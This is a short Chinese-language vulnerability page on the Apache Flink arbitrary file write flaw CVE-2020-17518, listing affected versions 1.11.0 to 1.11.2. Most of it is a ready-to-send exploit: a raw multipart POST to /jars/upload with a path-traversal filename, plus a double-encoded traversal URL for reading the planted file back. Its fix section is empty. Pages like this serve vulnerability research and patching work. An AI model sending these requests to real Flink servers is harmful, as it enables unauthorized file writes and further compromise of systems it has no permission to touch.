Apache Flink任意文件写入漏洞(CVE 2020 17518)
简介¶
Apache Flink是一个开源流处理框架，具有强大的流处理和批处理功能
影响版本¶
1.11.0
1.11.1
1.11.2
漏洞利用¶
写入EXP：
POST /jars/upload HTTP/1.1
Host: 127.0.0.1:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 185
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"
zzzzzzz
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
验证写入:
http://127.0.0.1/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fsuccess
成功写入：
修复建议¶
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